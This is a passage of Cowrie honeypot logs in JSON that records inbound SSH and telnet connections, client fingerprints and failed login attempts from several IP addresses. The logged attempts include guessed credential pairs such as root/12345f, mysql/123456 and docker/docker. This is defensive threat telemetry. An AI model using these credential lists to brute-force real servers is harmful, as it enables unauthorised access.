"diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:45.688360Z","src_ip":"43.130.36.39","session":"56179a3b6934","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345f","message":"login attempt [root/12345f] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:45.863410Z","src_ip":"51.250.105.222","session":"d53413eda355","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.68.83.105","src_port":41812,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d5027560b66","protocol":"ssh","message":"New connection: 186.68.83.105:41812 (10.17.0.5:22) [session: 8d5027560b66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:45.869265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:45.873833Z","src_ip":"186.68.83.105","session":"8d5027560b66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.238.160.191","src_port":59922,"dst_ip":"10.17.0.5","dst_port":22,"session":"908ed4e15431","protocol":"ssh","message":"New connection: 170.238.160.191:59922 (10.17.0.5:22) [session: 908ed4e15431]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:45.919359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:45.924289Z","src_ip":"170.238.160.191","session":"908ed4e15431","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:45.962293Z","src_ip":"186.68.83.105","session":"8d5027560b66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123456.","message":"login attempt [root/abc123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:46.000357Z","src_ip":"43.130.36.39","session":"56179a3b6934","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:46.040471Z","src_ip":"170.238.160.191","session":"908ed4e15431","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":47498,"dst_ip":"10.17.0.5","dst_port":22,"session":"7087156b25ea","protocol":"ssh","message":"New connection: 45.153.34.112:47498 (10.17.0.5:22) [session: 7087156b25ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:46.207960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:46.215045Z","src_ip":"45.153.34.112","session":"7087156b25ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:46.299483Z","src_ip":"45.153.34.112","session":"7087156b25ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"01010101","message":"login attempt [root/01010101] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:46.349788Z","src_ip":"186.68.83.105","session":"8d5027560b66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"baptiste","message":"login attempt [root/baptiste] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:46.529534Z","src_ip":"170.238.160.191","session":"908ed4e15431","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"123456","message":"login attempt [mysql/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:46.545197Z","src_ip":"45.153.34.112","session":"7087156b25ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"158.178.141.16","src_port":44772,"dst_ip":"10.17.0.5","dst_port":22,"session":"65a9ad97af34","protocol":"ssh","message":"New connection: 158.178.141.16:44772 (10.17.0.5:22) [session: 65a9ad97af34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:46.869490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:46.873308Z","src_ip":"158.178.141.16","session":"65a9ad97af34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:47.002249Z","src_ip":"51.250.105.222","session":"d53413eda355","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:47.077297Z","src_ip":"43.130.36.39","session":"56179a3b6934","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:47.083659Z","src_ip":"158.178.141.16","session":"65a9ad97af34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:47.441217Z","src_ip":"186.68.83.105","session":"8d5027560b66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:47.629760Z","src_ip":"45.153.34.112","session":"7087156b25ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:47.645195Z","src_ip":"170.238.160.191","session":"908ed4e15431","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Sunshine123","message":"login attempt [root/Sunshine123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:47.962343Z","src_ip":"158.178.141.16","session":"65a9ad97af34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:49.177385Z","src_ip":"158.178.141.16","session":"65a9ad97af34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":34856,"dst_ip":"10.17.0.5","dst_port":22,"session":"24859ce1ad4a","protocol":"ssh","message":"New connection: 45.153.34.112:34856 (10.17.0.5:22) [session: 24859ce1ad4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:49.627050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:49.632362Z","src_ip":"45.153.34.112","session":"24859ce1ad4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:49.716221Z","src_ip":"45.153.34.112","session":"24859ce1ad4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jack","password":"jack","message":"login attempt [jack/jack] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:49.967348Z","src_ip":"45.153.34.112","session":"24859ce1ad4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:51.211110Z","src_ip":"45.153.34.112","session":"24859ce1ad4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":34864,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ff34135a507","protocol":"ssh","message":"New connection: 45.153.34.112:34864 (10.17.0.5:22) [session: 9ff34135a507]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:53.100667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:53.105891Z","src_ip":"45.153.34.112","session":"9ff34135a507","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:53.187992Z","src_ip":"45.153.34.112","session":"9ff34135a507","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker","message":"login attempt [docker/docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:53.433813Z","src_ip":"45.153.34.112","session":"9ff34135a507","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:54.519040Z","src_ip":"45.153.34.112","session":"9ff34135a507","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":34872,"dst_ip":"10.17.0.5","dst_port":22,"session":"0dd180c6ed16","protocol":"ssh","message":"New connection: 45.153.34.112:34872 (10.17.0.5:22) [session: 0dd180c6ed16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:56.776457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:56.780439Z","src_ip":"45.153.34.112","session":"0dd180c6ed16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:56.865437Z","src_ip":"45.153.34.112","session":"0dd180c6ed16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"default","password":"default","message":"login attempt [default/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:57.112316Z","src_ip":"45.153.34.112","session":"0dd180c6ed16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57140,"dst_ip":"10.17.0.5","dst_port":23,"session":"b60e21f8c592","protocol":"telnet","message":"New connection: 192.119.13.58:57140 (10.17.0.5:23) [session: b60e21f8c592]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:57.376877Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:58.198401Z","src_ip":"45.153.34.112","session":"0dd180c6ed16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.35959458351135,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:58.782114Z","src_ip":"192.119.13.58","session":"676f44dab6cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":52934,"dst_ip":"10.17.0.5","dst_port":22,"session":"db5e3bf34630","protocol":"ssh","message":"New connection: 45.153.34.112:52934 (10.17.0.5:22) [session: db5e3bf34630]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:00.192706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:00.198154Z","src_ip":"45.153.34.112","session":"db5e3bf34630","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH